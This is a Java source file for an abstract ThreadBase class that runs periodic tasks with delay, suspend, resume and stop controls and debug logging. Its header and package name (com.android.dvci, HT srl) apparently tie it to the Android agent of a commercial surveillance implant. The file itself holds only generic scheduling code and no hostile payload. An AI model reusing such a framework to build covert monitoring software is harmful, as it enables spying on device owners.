/* ********************************************** * Create by : Alberto "Q" Pelliccione * Company : HT srl * Project : AndroidService * Created : 30-mar-2011 **********************************************/ package com.android.dvci; import java.util.Date; import com.android.dvci.auto.Cfg; import com.android.dvci.util.Check; /** * The Class ThreadBase. */ public abstract class ThreadBase implements Runnable { /** The Constant NEVER. */ protected static final long NEVER = Long.MAX_VALUE; /** The Constant NEVER. */ protected static final long SOON = 0; private static final String TAG = "ThreadBase"; //$NON-NLS-1$ /** The period in milliseconds. */ private long period = NEVER; /** The delay in milliseconds. */ private long delay = 0; /** The stopped. */ private boolean stopRequest; private boolean suspended; /** The status. */ protected StateRun status; public ThreadBase() { if (Cfg.DEBUG) { Check.log(TAG +" sub-class:"+getTag()+ " (new) suspended="+suspended ); //$NON-NLS-1$ } } // Gli eredi devono implementare i seguenti metodi astratti /** * Go. Viene lanciato dopo il delay, ogni period. */ protected abstract void actualGo(); /** * Begin. Viene lanciato quando il servizio viene creato. Se vuole puo' * definire il delay e il period. */ protected abstract void actualStart(); /** * End. Viene invocato quando il servizio viene chiuso. */ protected abstract void actualStop(); /* * (non-Javadoc) * * @see java.lang.Thread#run() */ public synchronized void run() { // if(Cfg.DEBUG) Check.asserts(agentEnabled, string) //$NON-NLS-1$ status = StateRun.STARTING; try { if (Cfg.DEBUG) { Check.log(TAG + " (run) starting: " + this); } actualStart(); status = StateRun.STARTED; loop(); } catch (final Exception ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { Check.log(ex);//$NON-NLS-1$ Check.log(TAG + " Error: " + ex); //$NON-NLS-1$ } } try { status = StateRun.STOPPING; if (Cfg.DEBUG) { Check.log(TAG + " (run) stopping: " + this); } actualStop(); } catch (final Exception ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { Check.log(ex);//$NON-NLS-1$ Check.log(TAG + " Error: " + ex); //$NON-NLS-1$ } } status = StateRun.STOPPED; if (Cfg.DEBUG) { Check.log(TAG + " AgentBase stopped"); //$NON-NLS-1$ } } /** * Loop. I synchronized qui dentro forse non servono, perche' questo metodo * e' chiamato solo da run, che e' gia' sincronizzato */ protected void loop() { try { // attesa prima del ciclo vero e proprio synchronized (this) { if (!stopRequest) { if (delay > 0) { Date before, after; if (Cfg.DEBUG) { before = new Date(); } wait(delay); if (Cfg.DEBUG) { after = new Date(); final long elapsed = after.getTime() - before.getTime(); if (elapsed > delay * 1.5) { Check.log(TAG + " (loop) Error: delay=" + delay + " elapsed=" + elapsed + "s"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ } } } } } while (true) { // se esce dal wait occorre verificare se si debba uscire if (stopRequest) { break; } if (!isSuspended()) { actualGo(); } Date before, after; if (Cfg.DEBUG) { before = new Date(); } synchronized (this) { // stopThread e' sincronizzato, questo garantisce che la // notify // non vada perduta if (stopRequest) { break; } wait(period); } if (Cfg.DEBUG) { after = new Date(); final long elapsed = after.getTime() - before.getTime(); if (elapsed > period * 1.5) { Check.log(TAG + " (loop) Error: period=" + period + " elapsed=" + elapsed + "s " + this); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ } } } } catch (final Exception ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { Check.log(ex); Check.log(TAG + " Error: " + ex.toString()); //$NON-NLS-1$ } } stopRequest = false; } // riesegue l'actualRun /** * Next. */ public synchronized void next() { if (!stopRequest) { notifyAll(); } } // ferma il thread /** * Stop thread. */ public synchronized void stopThread() { if (!stopRequest) { stopRequest = true; notifyAll(); } } public boolean isStopRequested(){ return stopRequest; } /** * definisce il periodo, ovvero il delay per il giro di loop, in ms. * * @param period * in ms */ protected void setPeriod(final long period) { if (Cfg.DEBUG) { Check.log(TAG + " (setPeriod) "); } this.period = period; next(); } /** * definisce il delay al primo giro, in ms. * * @param delay * in ms */ protected void setDelay(final long delay) { if (Cfg.DEBUG) { Check.log(TAG + " (setDelay) " + delay); } this.delay = delay; next(); } /** * Gets the status. * * @return the status */ public synchronized StateRun getStatus() { return status; } public boolean isRunning() { return (status == StateRun.STARTED || status == StateRun.STARTING); } public synchronized void suspend() { suspended = true; if (Cfg.DEBUG) { Check.log(TAG + "hash:"+this.hashCode()+" sub-class:"+getTag()+ " (suspend) suspended="+suspended ); //$NON-NLS-1$ } } public synchronized void resume() { suspended = false; if (Cfg.DEBUG) { Check.log(TAG + "hash:"+this.hashCode()+" sub-class:"+getTag()+" (resume) suspended="+suspended ); //$NON-NLS-1$ } next(); } public synchronized boolean isSuspended() { if (Cfg.DEBUG) { Check.log(TAG + "hash:"+this.hashCode()+ " sub-class:"+getTag()+" (isSuspended) suspended="+suspended ); //$NON-NLS-1$ } return suspended; } public String getTag(){ return TAG; } }